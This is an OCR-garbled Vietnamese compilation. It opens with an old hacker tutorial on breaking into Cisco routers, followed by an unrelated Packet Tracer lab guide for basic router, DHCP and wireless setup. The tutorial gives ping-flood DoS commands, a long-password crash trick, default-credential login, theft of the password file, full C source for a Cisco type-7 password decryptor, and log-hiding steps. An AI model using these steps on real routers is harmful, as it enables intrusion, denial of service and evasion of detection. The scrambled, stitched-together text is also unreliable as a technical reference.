thu nhan thdng tin dén tir cdc may tinh nhat dinh. D& lam dudc diéu nay, chon Start > Programs
> Accessories > Communications > HyperTerminal.

DPau tién ban can phai lua chon két ndi, badm "TCP/IP Winsock", va sau d6 dat vao may tinh ma
ban két ndi vdi, va s6 cdng. Ban cd thé sai khién né nghe ngdng dau vao bang céach chon
Call>Wait for Call. Va bay gi& cac may tinh khac cé thé két ndi vdi ban bang céng dé, va ban cb
thé chat hay truyén file.




SU dung Ping:

Ping that dé dang, chi cdn m& MS-DOS, va g& "ping dia_chi_ip", mic dinh sé& ping 4 [an, nhung
ban cling ¢4 thé gd

"ping ip.address -t"

Cach nay s& Iam mdy ping mai. D& thay ddi kich thudc ping Iam nhu sau:

"ping -l (size) dia_chi_ip "

Cai ping lam la gri mot gdi tin dén mbt may tinh, sau d6 xem xem mat bao lau gai tin roi xem
xem sau bao lau gai tin d6 quay trd lai, cach nay xac dinh dugc toc do cta két ndi, va thdi gian
can dé mot goi tin di va quay trd lai va chia bén (goi 1a "trip time"). Ping cling cd thé dugc dung
dé€ lam cham di hodc dd v& hé thdng bang lut ping. Windows 98 treo sau mdt phit lut ping (B
dém cla két nGi bi tran — co6 qua nhiéu két nGi, nén Windows quyét dinh cho né di nghi mot
chit). Mot cudce tan cong “ping flood” sé chi€m rat nhiéu bang théng cta ban, va ban phai cd
bang thong I16n han déi phuong ( trir khi d6i phuong la mot may chay Windows 98 va ban cé
mot modem trung binh, bdng cach dé ban sé ha guc d6i phucng sau xap xi mét phdt lut ping).
Lut Ping khéng hiéu qua 18m déi v6i nhitng d6i phuang manh han mét chit. trir khi ban cé nhiéu
dudng va ban kiém soat mét s6 lugng tuang d6i cdc may chi cling ping ma tong bang thdng Ion
hon d6i phuang.

Chu y: option —t clia DOS khong gay ra lut ping, nd chi ping muc tiéu mot cach lién tuc, véi
nhiing khoang ngat quang gilra hai lan ping lién ti€p. Trong tdt ca cac hé Unix hodc Linux, ban
6 thé dung ping -f d€ gay ra lut thuc su. Thuc t& 1a phai ping -f néu ban dung mét ban tucng
thich POSIX (POSIX - Portable Operating System Interface dua trén uniX), néu khong né sé
khong phai la mét ban Unix/Linux thuc su, bdi vay néu ban dung mot hé diéu hanh ma nd tu cho
no la Unix hay Linux, nd sé cd tham so -f.

SUr dung TraceRoute:

PE& [an theo két ndi clia ban(va xem tat ca cac mdy tinh ndm gitfa ban va muc tiéu), chi cdn md
MS-DOS prompt, va g& "tracert dia_chi_ip" va ban s& thdy mot danh sach cac may tinh ndm trén
dudng gilra may tinh ban va déi phuang.

Ban c6 thé dung cach nay dé xac dinh xem liéu co firewalls chdn? Va cach nay ciing cho phép
xac dinh ISP cla mét ai do (Internet Service Provider).

D& xac dinh ISP, chi viéc don gian xem dia chi IP trudc cai cudi cing, ddy chac chén Ia mdt trong
cac bd dan dudng clia mot ISP.

Ban chat la gi? Day la cach ma traceroute lam viéc - mot goi tin TCP/IP cd mot gia tri trong phan
dau (d6 la phan IP. Néu ban khong biét nd la gi, hdy bo qua vathen ignore né va doc ti€p, diéu
dé khéng quan trong) goi la TTL, viét tat cho Time To Live. M6t khi gdi tin di qua mét bd dan
dudng thi TTL ctia nd bi trir di mot. Bay la cach mot bd dé€m chong lai kha nang xay ra 10i va mot
goi tin sé ban ra khdp nai trén mang, va lang phi bang thong.

Cho nén khi mot TTL cua mét gdi tin bang 0, nd sé chét va mot 16i ICMP dudc gui tra vé ngudi
gui.

Bai thé, dau tién traceroute gui di mot géi tin c6 TTL bang 1. Géi tin s& trg lai nhanh chdng, qua
viéc nhan biét dia chi nguGi gui trong phan dau ctia thong bao 16i ICMP, traceroute biét goéi tin da
& dau trong lan ban dau tién. Sau dé nd gii mot gai tin vai TTL co gia tri la 2, va nhan dudc két
qua tra vé cla Ian ban 2, mang theo dinh danh ctia may. Va diéu nay xa ra cho dén khi gdi tin



dén dich.

That thu vi phai khdng? :-)

SU dung proxy server:

Hay tim mot proxy server chay trén mét céng ma ban chon. Mét khi ban tim ra, két néi dén né
bang telnet hodc hyperterminal va sau do ndi dén may tinh khac bang proxy server. Bang cach
nay may tinh & dau kia sé khong biét dugc dia IP cla ban.

Phan 1: Tai sao lai hack cisco router?

C6 thé ban thdc mac.. tai sao lai hack cisco router?

Li do Ia ching thét 1a hitu ich d& bé khoa cac hé thdng khac...

Cisco routers rat nhanh, mot sO co toc do két nGi 18 T1 trén mot hé thong, va chidng rét linh
hoat va chiing co thé s dung cho cac cudc tan cong DoS hoac hack vao cac hé thong khac bai vi
hau hét ching chay telnet.

C4 hang nghin gdi tin chay qua chiing mdt Iic, va ta cd thé bt va giai ma cac goi tin... Rat nhiéu

cisco routers dugc tin cay, va cho phép ban truy nhap nhat dinh vao cac may tinh khac trong
mang cda nd.

Phan 2: Tim mot cisco router

Tim b dan dudng Cisco la cdng viéc tuang ddi dé, hau hé méi ISP déu dan qua it nhat mét cisco
router. Cach dé nhat dé tim ra mét bd dan dudng Cisco la chay traceroute tir dos (gd "tracert" va
dia chi IP ciia mdt may tinh khac), ban ¢ thé [an ra nhiéu thdng tin nhd cac may tinh ma nd
hién ra gitta may tinh ban va may tinh ctia ho. M6t trong s6 nhitng hé théng nay cé thé cd cum
tlr "cisco" trong tén cta nd. NEu ban tim thay diéu gi do tuang tu nhu vay, hay copy lai dia chi IP
ctia nd.

GiS day ban da biét ngi cd mot cisco router, nhung nd ¢ thé dugc bao vé bdi firewall, ban nén
kiém tra xem né c6 dugc bao vé khdng bang cach ping né mét vai [an, néu ban nhan dugc tra 16i
thi c6 thé la n6 khdng bi khod. M8t cach lam khac I3 thir truy nhdp vao mét s6 cdng clia cisco
router, diéu nay dugc thuc hién dé dang bang cach st dung telnet, va tao mot két néi tdi router
bang c6ng 23.. N&u nd dodi password, ma khdng hdi username nghia la ban dang k& bén router,
nhung néu nd doi username, thi co 1€ la da bi firewall.

Th tim mot router khong co firewall, bdi |1€ bai giang nay tutorial la vé routers ch( khong phai
vé céach qua firewalls. Khi ban da tim ra mot hé théng 6n dinh, ban can tim mét proxy server cho
phép s dung céng 23, bang cach nay IP clia ban s& khdng bi luu lai bdi router.

Phan 3: Dot nhap cisco router



Cac Cisco router chay phlen ban v4.1 (hién con rat pho blen) cd thé ha guc dé dang. Ban chi can
két nGi vdi router bang cdng 23 qua proxy server, va nhap vao mot chudi password KHONG LO,
nhu 13;

10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qgpwoeirutyalskdjfhgzmxncbv019ds
k10293847465qgpwoeirutyalskdjfhgzmxncbv019dsk10293847465qgpwoeirutyalskdjfhgzmxncbv019
dsk10293847465gpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv01
9dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv0
19dsk

Ch& mdt chit, hé théng cisco cb thé s& khdi dong lai, trong trudng hgp doé ban sé& khéng hack
dugc bdi vi chlng offline.. Nhung chiing thudng treo khoang 2-10 phdt, va ban cd thé tham
nhap dugc.

Néu ca hai trudng hgp déu khong xéy ra, nghia la né khong chay phan mém ngon an, trong
tru’c‘jng dd ban co thé thir mot vai kiéu tén cong DoS, gidng nhu mot lugng ping khong 16. M&
dos va go "ping -l 56550 cisco.router.ip -t", this will do the same trick for you.

Khi bi treo, m& mot két ndi khac dén mot vai proxy khac, va dung password "admin”, |i do vi day
la méat khdu mac dinh cla router, va khi né tam thdi bi ngat nd s& chuyén sang ch& dd mac dinh.

Khi ban da dang nhap, ban can gianh 13y file password ! Cac hé thong chay nhitng phan mém
khac nhau nhung da s6 sé& cd 1énh "htl-textil" hodc gi d8, ban gd "?" dé€ hién ra danh sach cac
lénh, ban s& thdy mét danh sach khéng 16 cac 1énh, & dau dd ban s& thdy mdt Iénh chuyén d6i,
duing né dé I8y password file ciia admin (ngudi dung hién tai) va gli dén dia chi IP & cdng 23.
Nhung trudc khi lam vay, hay dat HyperTerminal chd thong tin tir cisco router. Mot khi ban gui
file file, HyperTerminal sé hoi xem ban c6 dong y nhan file nay khong, chon dong y va luu nd
xuong dia. Thoat.

Ban d& qua phan khd kh&n nhét, nghi mét chit va chuén bi pha password!

Phan 4: pha password

GiS day ban da c6 dudc file password, ban can phai bé khoa né thi méi ¢ thé truy nhap access
router [an nita. D& lam viéc né!y can chay mot chuong trinh dai loai nhu John the Ripper hodc
mot chuang trinh nao khac dé bé file password, va ban co6 thé bé khoa dugc né.

DAy la cach dé nhét, va tdi khuyén ban diing cach ndy. Mdt cach cd thé thir bé khod ching. DE
l[am vay ban can mot phan mém gidi ma, phai that kién nhan.

P& giai ma cisco password, ban phai dich doan ma sau trong linux:

#include <stdio.h>
#include <ctype.h>

char xlat[] = {

0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, Ox6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44

+



char pw_strl[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;

{

unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] - '0") * 10 + enc_pw[1] - '0;

if (seed > 15 || lisdigit(enc_pw[0]) || lisdigit(enc_pw[1]))
return(-1);

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i 1=2 && 1(i & 1)) {
dec_pwl[i / 2 - 2] = val ~ xlat[seed++];

val = 0;
by
val *= 16;

if(isdigit(enc_pwl[i] = toupper(enc_pwl[i]))) {
val += enc_pwl[i] - '0";
continue;

}

if(enc_pw[i] >="A' && enc_pw[i] <= 'F') {
val += enc_pwl[i] - 'A" + 10;
continue;

}

if(strlen(enc_pw) != i)
return(-1);

by
dec_pw[++i/2]=0;

return(0);

}

usage()

{

fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);

return(0);

}



main(argc,argv)
int argc;
char **argv;

{

FILE *in = stdin, *out = stdout;
char line[257];

char passwd[65];

unsigned int i, pw_pos;

pname = argv[0];
if(argc > 1)

{

if(argc > 3) {
usage();
exit(1);

by

if(argv[1][0] == "-)

{

switch(argv[1][1]) {
case 'h':

usage();

break;

case 'p':

if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");

exit(1);

by

fprintf(stdout, "password: %s\n", passwd);
break;

default:
fprintf(stderr, "%s: unknow option.", pname);

}

return(0);

}

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);

if(argc > 2)

if((out = fopen(argv[2], "wt")) == NULL)
exit(1);

by

while(1) {

for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)



break;

fclose(in);
fclose(out);
return(0);

b
if(line[i] == '\r)
i__.

4

if(line[i] == "\n")
break;

b

pw_pos = 0;
line[i] = 0;

if(!strncmp(line, pw_strl, strlen(pw_str1)))
pw_pos = strlen(pw_strl);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;

}

if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");

exit(1);

b

else {

if(pw_pos == strlen(pw_strl))
fprintf(out, "%s", pw_strl);

else

fprintf(out, "%s", pw_str2);

fprintf(out, "%s\n", passwd);
b
b
b

Né&u ban khdng cd Linux, chi con nudc bé password bang cach tdn cong tir dién hodc brute-force
file d6 bang John the Ripper hodc mot chuong trinh bé khod khac.

Phan 5: St dung router

PE& sir dung thiét bi cao cap tuyét vdi nay, ban phai két ndi t&i ching, st dung proxy néu khéng
mudn IP cla ban log. Khi d& d&ng nhap, ban nén tdt phan history dé khdng ai cd thé biét ban da
lam gi, gd vao "terminal history size 0". Va n6 sé& chang ghi lai gi! Gd "?" dé hién mdt danh sach
tat ca cac Iénh cua router, va ban sé dung dugc hau hét trong s6 chiing.



Cac router thudng co telnet, va ban cé thé dung telnet dé két ndi connect tdi cac hé théng khac,
(nhu mdt hé unix) va hack chiing. N6 cling dudc trang bi ping va traceroute-ban cd thé sir dung
chiing dé theo ddi hé thdng hod tan cdng DoS. Ban con cb thé sir dung né dé bat cac goi tin,
nhung tdi khuyén ban khdng nén, bdi 18 khdng phai IGc ndo né cling hoat ddng, va c6 thé lam
cho ban bi phat hién...

Néu lan dau ban chua hack dugc cisco, hodc tham chi fan thi hai. N6 doi hoi ki nang va sur kién
nhan. Pay chi la nhitng chi dan... Va nhdé ding lam gi BAT HOP PHAP.

Get your free email from http://www.hackermail.com

Powered by OutBlaze [<|



BENH VIEN MAY TINH QUdC TE
LEARNING BY DOING

TRUONG CAO DANG NGHE CNTT iSPACE
KHOA CONG NGHE THONG TIN

HUONG DAN CAU HINH CO BAN
ROUTER CUNG BANG PHAN MEM
CISCO PACKET TRANCER




I. BASIC CONFIGURATION ROUTER :
MO HINH :

* Cisco Packet Tracer

File Edit Options View Tools Extensions Help

Logical {Root] New Cluster Move Object Set Tiled Background Viewport
-
A -
=
PC-PT ®
PC4
Switch1 \4
P
PC-PT
PC3
‘ : :]©
Time: 00:05:24 I Power Cycle Devices Realtime
e e — - & o \ 2 v = Fire | Last Status | Source @ Destination | Type | Color|
Senm= 07 (7 7 7)) 7 | 9E==_B
. { \ e | )
[Gomeemons ]| 0 LI
g L s = = _ | 2 Toggle PDU List Window
Console < >

Pé cau hinh Router thi dau tién ta dung mot PC truy cap vao Router bang
phuong phap lién két HYPER TERMINAL

Vao Start =» programs =» accessaries =» communination = Hyper
Terminal =

Va giao dién dé ta cdu hinh .
Doi vai Cisco Packet Trancer thi ta nhap vao PC =» Terminal
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Tiép theo Giao Dién Terminal s& xuat hién dé ta cAu hinh nhu hinh
bén dudi:
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man Drive
rniz 85134-170%¢

Cisce Internetwork Operating System Scoftware
. ~

IOS (tm) C2&00 Scftware (C2e00-I-M), Versicn 12.2(28), RELEAS
a

SOFTWARE (£c5)
Technical Support: http://www.ciscco.com/techsupport
Copyright (c) 188€-200S5S by ciscc Systems, Inc.

-~

| Compiled Wed 27-Apr-04 13:01 by miwang

cisco 2e20 (MPCB&0) precesscr (revision 0x200) with €0418K/5120K bytes o

h
H
L]
154
0
LA
LS

rocessor board ID JADOSISOMTIZ (4252891485)
M2380 processcor: part number 0, mask 495
Bridging scitware.

X.25 software, Versicn 3.0.0.

4 Ethernet/IEEE 802.3 interface(s)
1 FastEZthernet/IEEE 802.3 intexrfas
1

cels)
Low-speed serizl(sync/ssync) network interizceis)
32K bytes of ncn-velatile configurat

1€384K bytes of processcr board System Zlash (Read/Write)

—-—- System Configuraticn Dizalog —---

£

Giao dién lénh xuét hién ta bit dau cu hinh :
Pau tién ta gd 1énh : Enable = d¢ dang nhap vao Router
Ké tiép ta gb 1énh : Config t = dé vao cdu hinh
Ké tiép ta gb 1énh : Interface = dé cau hinh timg Port trén
Router
Tiép theo cac ban tham khao qua hinh 4nh minh hoa d¢
Configuration Router.
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i 7
Terminal

ciscoc 2820 (MPCB8&0) processcr (revisicn 0Ox200) with &0418K/5120K byte
Preocesscr bearxrd ID JARDOS1SOMTIZ (42528%81485)

M8€0 prccessor: part number 0, mask 495

Bridging scftware

X.25 software, Versicn 3.0.0.

4 Zthernet/IZZEZ 202.3 interfzce(s)

1 FastEthernet/IZEE 802.3 interface(s)

1 Lew-speed serizl (sync/async) netwerk inte

32K bytes cof non-velatile configuration memory.

18384K bytes of prccesscr board System flash (Read/Write)

System Configuration Dialeg ---

Continue with cenfiguraticn disleg? [yes/ncl: no
Press RETURN te get started!
Routerrensble
Reutergconfig t
4 Enter configuration commands, cne per line. Znd with CNTL/Z.

Router {confiqg) §

n
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cisco 2€20 (MPCB8&0) processor (revision 0x200)
Prccesscr beoard ID JADOS1ISOMTIZ (42928514S55)
M8e0 processcr: part number 0, mask 45
Bridging scftware.
X.25 software, Versicn 3.0.0.

|| ¢ Echernet/IZEZ 202.3 interfzcels)

| 1 FascZchernes/Izzz

202.3 interizce (s)
>

o

‘ Low-speed serizl (sync/asynec) netwerk inte
32K bytes cof non-velatile configuration memcry
18384K bytes of precesscr beard System £lash

System Configuration Dialeg —--

Continue with cenfiguraticn dizlog?

Press RETURN teo get started!

Reuter>engble
Routergconfig t
e
4 Enter configurastion commands,

ocne per line.

Rcute:iccnfig?ﬂ

[yes/necl:

with €0418K/5120K bytes cf memor:

=nd with CNTL/Z.

]

MANG I :
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4 Zcthernet/I

802.3 interface(s)

1 FastZthernet/I 802.3 interface(s)
1 Low-speed serizl (sync/async) netwoxr nte
32K bytes cof non-velatile configuration mem

18384K bytes of prccesscr beoard System

System Configuration Dialeg ---

Continue with configuraticn dislcog? [yes/ncl: no

Press RETURN te get started!

Routerrenzble
Routergceonfig t

Enter configuration commands, cne per line. =nd with CNTL/Z.
Reuter|iconfig) #interfzce IZ0/0

Router|{config-if) §ip add

Reuter|iconfig-if)§ip address 1392.168.1.1 255.255.255.0
Router|iconfig-if) ¢nc shut

changed state tc up

2LINK-5-CHANGED: Interface FastEthernet0/0,
oto on Interface FastEthernet(/0,

$LINZPROTC-5-UPDCHN:

Router{config-if) g

changed s=tzte ©

MANG 2 :



 Physical I ConﬁgJ Desktop

Terminal

--- System Configuraticn Dialog ---
Continue with configuraticn disleog? [yes/nc]l: no

Press RZTURN te get stzrted!

Routerrenzble

Reouterfceoniig t

Enter configuraticon commands, cne per line. End with CNTIL/Z.
Reuter(config) #intexrface £0/0

Router(cenfig-if) $#ip address 182.168.1.1 255.255.255.0
Router {config-if) #nc shutdow

| *LINK-5-CHANGED: Interface FastEZthernet(/0, changed state to up
2LINEPROTC-5-UPDOWN: Line protoccl on Interfazce FastEthernet(/0, changed state t©

Reuter{config-ifjfintexface el/0
$5.0

%]

SS.

L8]

Reuter({config-if)jgip address 192.168.2.1 255.
er ({cenfig-if)jgne shutdow

2LINK-5-CHANGED: Interfzce Ethernetl/0, changed state tc up
$LINEPROTO-S-UFDOWN: Line protoccl on Interface Ethernetl/0, changed state tc up

Reouter{config-if) g

< |

Sau khi céu,hinh xong 2 nhanh mang nhu mé hinh ta bat dau cau hinh
DHCP dé cap cho PC :
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T
Terminal

Reouter{config-if) #nc shutdew

o up
Reuter(cenfig-if)fintexfzce el/0

Router ({config-if) #nc shutdow

Router (config-if) gexit

Reuter(config) #ip dhecp pecel Mangl

Reouter (dhcp-config) #de

Reuter (dhep-conffig) #dns

Reouter (dhep-conffig) £exic

Reuter{ceonfig) #ip dhep exl
Reuter(cenfig) £ip dhep ex

Router(config) gexit

Routergconfig t

—
$LINK-5-CHANGED: Interface FastEthernet(/0, changed state toc up
SLINEPROTO-S-UPDCWN: Line proteccl on Interface FastEthernet(/0, changed state t
Router({cenfig-if) $ip address 182.168.2.1 255.255.255.0
2LINK-5-CHANGED: Interfzce Zthernetl/0, changed state tc up
$LINEPROTC-5-UPDOWN: Line protccel on Interface Ethernetl/0, changed state tc up
CA&u hinh can thi€t d€ Router cdp IP déng5
Router (dhcp-conffig) ¢netwexk 182.1€8.1.0 255.255.255.0
Reuter (dhep-conffig) #¢default-xouter 152.168.1.1
Router (dhcp-conffig) #dns-server 203.113.131.1
Thure hién day IP loai trir n€u can thuc hién
Rcuter{ccnfig):ipldhcp excluded-address 192.1638.1.1 182.1€8.1.10
%SYS-5-CONFIG I: Configured from ccnscle by conscle d
4 Enter configuration commands, one per line. Z=nd with CNTIL/Z. .
v

Reouter{config)
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Reouter (dhcp-config) £de

Router (dhcp-config) §¢defzult-xcuter 1392.168.1.1
Router (dhcp-config) #dns

Reouter (dhecp-config) #dns—-sexrver 203.113.131.1

Router (dhep-config) gexit

Reuter(ceonfig) #ip dhep exl

Router(cenfig) #ip dhep ex

Router(ccnfig) #ip dhcp excluded-address 152.168.1.1 152.168.1.10
Reouter{config)fexit

§SYS-5-CONFIG I: Ceonfigured from cecnscle by censcle
Routergceonfig ¢t

Enter ccnfiguraticn commands, cne per line. End with CNTIL/Z.
Reuter(ceonfig) #ip dhep ang2

% Invalid input detected &t '~' marker.

Reuter{ceonfig) §ip dhecp peoel Ma
Router {dhcp-conffig) gnetwork 152.1€8.2.0 255.255.255.0
Router (dhcp-conffig) £de

Reouter (dhcp-conffig) §default-routexr 182.168.2.1

Router (dhep-conffig) §dns

Reuter(dhep-conffig) #dns—-sexver 203.113.131.1

Router (dhcp-conffig) gexit

Reouter(cenfig) #ip dhep ex
Rcute:iccnfig]ﬁip dhep excluded-address 152.1€8.2.1 152.168.2.15

Router({config) gexit
£SYS-5-CONFIG_I: Configured from ceonscle by conscle
Routers

< |

Sau khi cau hinh xong ta kiém tra IP bang cach xin IP tir Router :

10
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IP Configuration

O
DHCP request failed.

(& Static

IP Address

Subnet Mask

Default Gateway

DNS Server

12
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IP Configuration

® DHCP

o ] DHCP request successful.
Static

IP n&y d3 dugc Router cdp thanh céng

IP Address |192.168.1.11

Subnet Mask |255.255.255.0

Default Gateway |192.168.1.1

DNS Server 203.113.131.1

13
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IP Configuration

(& DHCP
(O Static

DHCP request successful.

IP Address
Subnet Mask
Default Gateway

DNS Server

|192.168.1.12

|255.255.255.0

|192.168.1.1

203.113.131.1
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IP Configuration

(& DHCP
(O Static

DHCP request successful.

IP Address
Subnet Mask
Default Gateway

DNS Server

|192.168.2.16

|255.255.255.0

|192.168.2.1

203.113.131.1

15
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IP Configuration

(& DHCP
(O Static

DHCP request successful.

IP Address 1192.168.2,17

Subnet Mask |255.255.255.0

Default Gateway |192.168.2.1

DNS Server 203.113.131.1

Sau khi xin IP thanh cong ta kiém tra thong mang bang 1énh PING

16
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Command Prompt

~na t
Pinging 192.168.2.16 with 32 bytes of data: ing d

bytes=32 time=125ms
bytes=32 time=125ms
bytes=32 time=105ms
bytes=32 time=105ms

NN
'
[
[2A]
w
NN NN

iy
=]
w

Ping statistics for 192_.168.2_.16:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 109ms, Maximum = 125ms, Average = 117ms

PC>ping 192.168.2.16

Pinging 192_.168.2.16 with 32 bytes of data:

[y
]

=
v
NN

[
Al
w

Reply from -2.16: bytes=32 time=11l1lms
-168.2_.16: bytes=32 time=105ms
-168.2.16: bytes=32 time=125ms

-168.2.16: bytes=32 time=125ms

Reply from

[
w

Reply from

=
]

Reply from

Ping statistics for 1592_.168.2_.16:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 109Sms, Maximum = 125ms, Average = 117ms

=
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Physical | Config | Desktop

Command Prompt

Packet Tracer PC Command Line 1.0
PC>ping 192.168.1.12

ping thanh cor
Pinging 192.168.1.12 with 32 bytes of data:

[
\0

[y
X
NN

Reply from : bytes=32 time=l156ms

Reply from : bytes=32 time=125ms

w

bytes=32 time=125ms
bytes=32 time=109ms

Reply from

[y
4]

Reply from

Ping statistics for 192.168.1.12:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 109Sms, Maximum = 156ms, Average = 128ms

BC>|

Sau khi PING thanh cong tirng may xong = Tiép ta Cau hinh luon Wireless
gia 1ap luon :

Ta dung Wireless két ni Switch voi cong Ethernet cia Wireless nhur
hinh DEMO
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o Packet s L=

File Edit Options View Tools Extensions Help

- —_ + R - Pl <l

Logical [Root] New Cluster Move Object Set Tiled Background View|

Af—

4 :
PC-PT =

PCO

Linksys-WRT300N
Wireless Routerl

C

s
PC-PT S—

PC2
= ;
PC-PT %
a ; 5O

2860-24TT
Switch1

Time: 02:15:22 | Power Cycle Devices Realtime
I e—— — . - Fire  Last Status Source
S a m < ;g‘ ‘ I x [ ;II J)IScenanoO vl
] End Devices | |(Generic! ‘Generc! \Generic! BPhone | [ new ][ Delete |
g ) s = 7] i . | 2 Toggle PDU List Window
5 Copper Straight-Through 3 [T

Tiép theo ta truy cap vao Wireless dé cau hinh theo hudng dan cia hinh duéi
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-* Wireless Router1

Physical | ConﬁgJ GUI 1

Setup Wireless
Basic Setup

Setup

DDNS

Apphcations
& Gaming
MAC Address Clone

Administration St

Advanced Routing

Internet Setup

!Automatic Configuration - DHCP v

Internet

Connection type
Optional Settings Host Name:
(required by some

z . Domain Name:
internet service

|
| £

|
|

provders) —
IP Address: ||192 |.|168 | [0 [ |1 |
Router IP I
Subnet Mask: |255.255.255.0 v|

DHCP Server
Settings DHCP

Carvar:

(& Enabled O Disabled

DHCP

Racaruatinn

[€
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-* Wireless Router1

Physical | Config | GUI l

LINKESYS®

A Division of Giszo Systems, Inc.

Setup

Setup Wireless
Basic Setup

Fimmasars Varsion: v

Applications
& Gaming
MAC Address Clone

Administration St3

Advanced Routing

Internet Setup

Internet

Automatic Configuration - DHCP w

Connection type

Optional Settings Host Name:
(required by some

internet service

Domain Name:

| |
| |

providers) MTU:
IP Address:
Router IP

Subnet Mask:

1192 |. 168 |.

100 [J[1 |

255.255.255.0 v|

(<€
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-* Wireless Router1

Physical | Config ’ GUI |

|

Static DNS 2: o o |0 ||o
Static DNS 3: o o |l |0 |
WINS: o |jo Jlo ||o

Save Settings

Cancel Changes
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-* Wireless Router1

Physical | Config | GUI l

Wireless Setup | Wireless ApSearions.  sduitation. St
& Gaming —

Basic Wireless Settings Wireless MAC Filter Advanced Wirgless Se
Basic Wireless|
Settings!

Network Mode: Mlxed

Network Name (SSID): @> |

Radio Band: |Auto VI

Wide Channel: !_Auto—Vl

Standard Channel: @l 7
SSID Broadcast: Enabled Disabled

Save Settings Cancel Changes

1

Tiép theo ta cho PC c6 trang bi Card Wireless dé xin IP va két ndi véi cac
16p mang :
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Physical | Config HmDesktop \

[ mopuLES ( Physical Device View

[ Linksys-wmP300N | Zoom In J{i Original Size

[ PT-HOST-NM-1AM
| PT-HOST-NM-1CE
[ PT-HOST-NM-1CFE
[PT-HOST-NM-1CGE
[ PT-HOST-NM-1FFE
[ PT-HOST-NM-1FGE
[ PT-HOST-NM-1W

Thay th€ NIC Card thanh C

Adding Modules: Drag the module to an available slot on the
device.
Removing Modules: Drag the module from the device to the

v

Sau khi két ndi xong cac ban lam theo hinh DEMO

Zoom Qut

(>

L




Physical " ConﬁgJ Dk

F I> | ||| o= | | <
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Physical | Config ’ Desktop |

LINKSYS'

A Division of Cisco Systems, inc.

Link Information LONNeE

Morenformation, |11 rasiruciure Vode

You have successfully connected to the access point

D% (.

01EDO0OK Adaple 0 0
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Physical | Config ] Desktop

EOX

LINKSYS'

A Division of Cisco Systems, Inc.

Link Information Connect Profil

Below is a list of available wireless networks. To search for more wireless networks, click
the Refresh button. To view more information about a network, select the wireless network
name. To connect to that network, click the Connect button below.

Wireless Mode Infrastructure
Network Type Mixed B/G/N
Radio Band 20MHz

Security Disable

MAC Address 00E0D.3F16.C106

0tebookK Ad g 0
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Physical H Config J ‘I-:)Eés"lztop

IP Configuration

(& DHCP
(O Static

IP Address

Subnet Mask |255.255.255.0

Default Gateway 1192.168.100.1

DNS Server 203.113,131.1
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Physical | Config | Desktop

Command Prompt

Pinging 192.168.1.12 with 32 bytes of data:

Request timed out.

Reply from 152_.168.1.12: bytes=32 time=125ms TTL=127
Reply from 192 _168.1.12: bytes=32 time=78ms TTL=127
Reply from 182 _.168.1.12: bytes=32 time=109ms TTL=127

Ping statistics for 192_.168.1.12:

Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),
Approximate round trip times in milli-seconds:

Minimum = 78ms, Maximum = 125ms, Average = 104ms

PC>ping 192.168.1.12

Pinging 192_.168.1.12 with 32 bytes of data:

[y
]

[
v
NN

'
[

Reply from bytes=32 time=109ms TTL=127
bytes=32 time=109ms TTL=127
bytes=32 time=105ms TTL=127

bytes=32 time=9S5ms TTL=127

"

Reply from

[
w
'

[

Reply from

I

' '

b P

NN NN
"

=
]

Reply from

Ping statistics for 1592.168.1_.12:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 9Sms, Maximum = 109ms, Average = 105ms
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Physical | Config | Desktop

Command Prompt

Pinging 192.168.2_.16 with 32 bytes of data:

Request timed out.

Reply from 152 _168.2
Reply from 192 _168_.2
Reply from 182 _.168.2

16: bytes=32 time=172ms TTL=126
16: bytes=32 time=188ms TTL=126
-16: bytes=32 time=171lms TTL=126

Ping statistics for 192_.168.2_.16:

Packets: Sent = 4, Received = 3, Lost = 1 (25% loss),

Approximate round trip times in milli-seconds:
Minimum = 171lms, Maximum = 188ms, Average = 177ms

PC>ping 192.168.2.16

Pinging 192_.168.2.16 with 32 bytes of data:

[y
]

[
v
NN

[
Al
w

Reply from -2.16: bytes=32 time=172ms
-168.2_.16: bytes=32 time=155ms
-168.2.16: bytes=32 time=168ms

-168.2.16: bytes=32 time=140ms

Reply from

[
w

Reply from

=
]

Reply from

Ping statistics for 1592_.168.2_.16:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 140ms, Maximum = 172ms, Average = 159ms

Sau khi PING thanh cong thi ta ciu co ban xem nhu xong .
Neéu cac ban thay can phai bao mat cho Router thi chung ta chi can dat
Password cho Router cai nay khéng khé hudng dan sau.
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Huwéng dén cau hinh router Cisco

Quan trj mang - Trong bai nay ching téi cung cap cho cac ban mot tai lidu

mang tinh chat tra ctru va tham khao vé viéc cau hinh router cisco.
1. Gioi thiéu

C6 mot vai phuong phap c6 thé cau hinh céc router cta Cisco. C6 thé dugc
thyc hién trén mang tir mot may chit TETP, ¢6 thé thuc hién thong qua giao
dién menu duoc cung cap khi khoi dong hay c6 thé duoc thuc hién tir giao dién
